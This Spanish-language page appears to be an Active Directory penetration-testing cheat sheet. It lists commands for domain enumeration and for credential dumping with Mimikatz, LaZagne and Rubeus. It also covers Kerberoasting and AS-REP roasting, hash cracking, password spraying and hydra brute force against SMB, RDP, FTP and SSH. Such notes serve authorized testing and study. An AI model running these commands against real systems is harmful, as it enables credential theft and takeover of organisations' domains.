xerosec
Buscar
K

Active Directory

Recursos

Escaneo inicial

  • Escaneo de puertos conocidos a lista de hosts: nmap -sT 21,22,23,25,53,80,88,135,161,389,445,8000,8080,3389,5985,3306,3307,1433,5432 -iL hosts.txt

Recopilación de información

Desde máquina Windows comprometida

01. Obtener Usuarios y Grupos

  • ¿Qué usuarios pertenecen a grupos que permiten administración remota? (RDP, WinRM)
Con net:
  • net user /domain
  • net user <username> /domain
  • net group /domain
  • net group <groupname> /domain
PowerView:
Identificar objetos en Active Directory sobre los cuales el usuario tiene control total (GenericAll) y puede realizar acciones administrativas
  • Get-ObjectAcl -Identity "xerosec" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
  • "S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
    • net user usuario nuevacontraseña /domain
Usuarios Kerberoastables
  • Get-NetUser -Domain msp.local | Where-Object {$_.servicePrincipalName} | select name, samaccountname, serviceprincipalname
Máquinas en el dominio
  • Get-NetComputer -Properties samaccountname, samaccounttype, operatingsystem
Lista grupos
  • Get-NetGroup -Domain internal.msp.local | select name
Miembros de un grupo
  • Get-DomainGroupMember "Domain Admins" -Recurse

Desde la máquina de atacante

SMB

Con credenciales:

  • cme smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --users
  • crackmapexec smb $IP -u 'user' -p 'PASS' --rid-brute
  • crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --groups
  • crackmapexec smb $IP -u 'user' -p 'PASS' --local-users
  • crackmapexec smb $IP -u 'Administrator' -p 'PASS' --local-auth --sam

LDAP

Con credenciales:

ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'

RPC

Sin credenciales:

rpcclient -U "" -N $IP

Con credenciales:

rpcclient -U "dominino.tld/usuario%contraseña" $IP

02. Búsqueda de contraseñas

Desde máquina Windows comprometida

Cheatsheet de Mimikatz

Requiere permisos de administrador
  • privilege::debug token::elevate
  • sekurlsa::logonpasswords
    • ekeys credman wdigest
  • lsadump::sam
    • secrets
  • .\\\\mimikatz.exe "token::elevate" "lsadump::secrets" exit
Lazagne (Mimikatz en esteróides)
  • lazagne.exe all

Rubeus

Requiere permisos de administrador
Kerberoasting
  • .\\\\Rubeus.exe kerberoast /outfile:hashes.kerberoast
  • sudo hashcat -m 13100 hashes.kerb /usr/share/wordlists/rockyou.txt --force
AS-REP Roasting
  • .\\\\Rubeus.exe asreproast /nowrap
  • sudo hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt --force

Credenciales almacenadas

Archivos de bases de datos
  • Get-ChildItem -Path C:\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
  • keepass2john Database.kdbx > Keepasshash.txt
  • john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt
  • Mover el archivo a ~/keepass y abrirlo con herramientas como kpcli
Historial de Powershell
  • Get-History
  • (Get-PSReadlineOption).HistorySavePath
  • type %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt (Ejecutar para cada usuario)
Archivos interesantes
  • cmdkey /list
  • En el directorios “Users”: Get-ChildItem -Path C:\\\\Users\\\\ -Include *.txt,*.log,*.xml,*.ini -File -Recurse -ErrorAction SilentlyContinue
  • Desde la raíz: Get-ChildItem -Path C:\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
  • sysprep.* unattend.*
  • Group Policies gpp-decrypt <hash>

Desde la máquina de atacante

Bloodhound

  • bloodhound-python -u usuario -p 'contraseña' -d dominio.tld -ns IP_DC -c All
  • Importar lo archivos extraídos a Bloodhound

LDAP

  • ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'
  • ldapsearch -x -H ldap://$IP -D 'usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'

SMB

  • crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --shares
  • crackmapexec smb $IP -u 'user' -p 'PASS' --local-auth --shares
  • crackmapexec smb $IP -u 'user' -p 'PASS' --sessions
  • crackmapexec smb $IP -u 'user' -p 'PASS' --lusers

SNMP

  • sudo nmap -sU -p 161 --script snmp-brute $IP
  • sudo nmap -sU -p 161 --script snmp-win32-users $IP
  • onesixtyone -c /usr/share/doc/onesixtyone/dict.txt $IP
  • snmpwalk -v 1 -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects
  • snmpwalk -v2c -c public $IP | grep <string>

Impacket

Kerberoasting

  • impacket-GetUserSPNs dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile hashes.kerb

AS-REP Roasting

  • impacket-GetNPUsers dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile dave.hash

03. Recopilación de información obtenida

  • Crear una lista de usuarios
    • Asegurarse de diferenciar usuarios "locales" y usuarios de "dominio"
  • Crear una lista de hashes y contraseñas o cualquier cosa que pueda ser una contraseña
    • domain_hashes.txt
    • domain_passwords.txt
  • Verificar la política de contraseñas para asegurarse de no bloquear cuentas
    • Desde máquina Windows comprometida: net accounts /domain
    • Desde máquina atacante: cme smb 172.16.10.10 --pass-pol (Puede que necesite credenciales válidas)

Fuerza bruta de credenciales

Kerberos

Password Spray
  • kerbrute passwordspray -d dominio.tld users.txt password --dc IP_DC -vvv
Fuerza bruta
  • kerbrute bruteuser -d dominio.tld usuario passwords.txt --dc IP_DC -vvv

SMB

  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt -d dominio.tld --continue-on-success
  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success
  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -H '<HASH>' --continue-on-success
  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success --local-auth

RDP

  • hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt rdp://<IP>:3389 -u -vV -T 40 -I
  • hydra -V -f -L users.txt -P passwords.txt rdp://<IP> -u -vV -T 40 -I

WinRM

  • evil-winrm -i <IP> -u usuario -p 'contraseña'
  • evil-winrm -i <IP> -u usuario -H '<HASH>'

FTP

  • hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt <ftp://<IP>:21> -u -vV -T 40 -I

SSH

  • hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt ssh://<IP>:22 -u -vV -T 40 -I
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯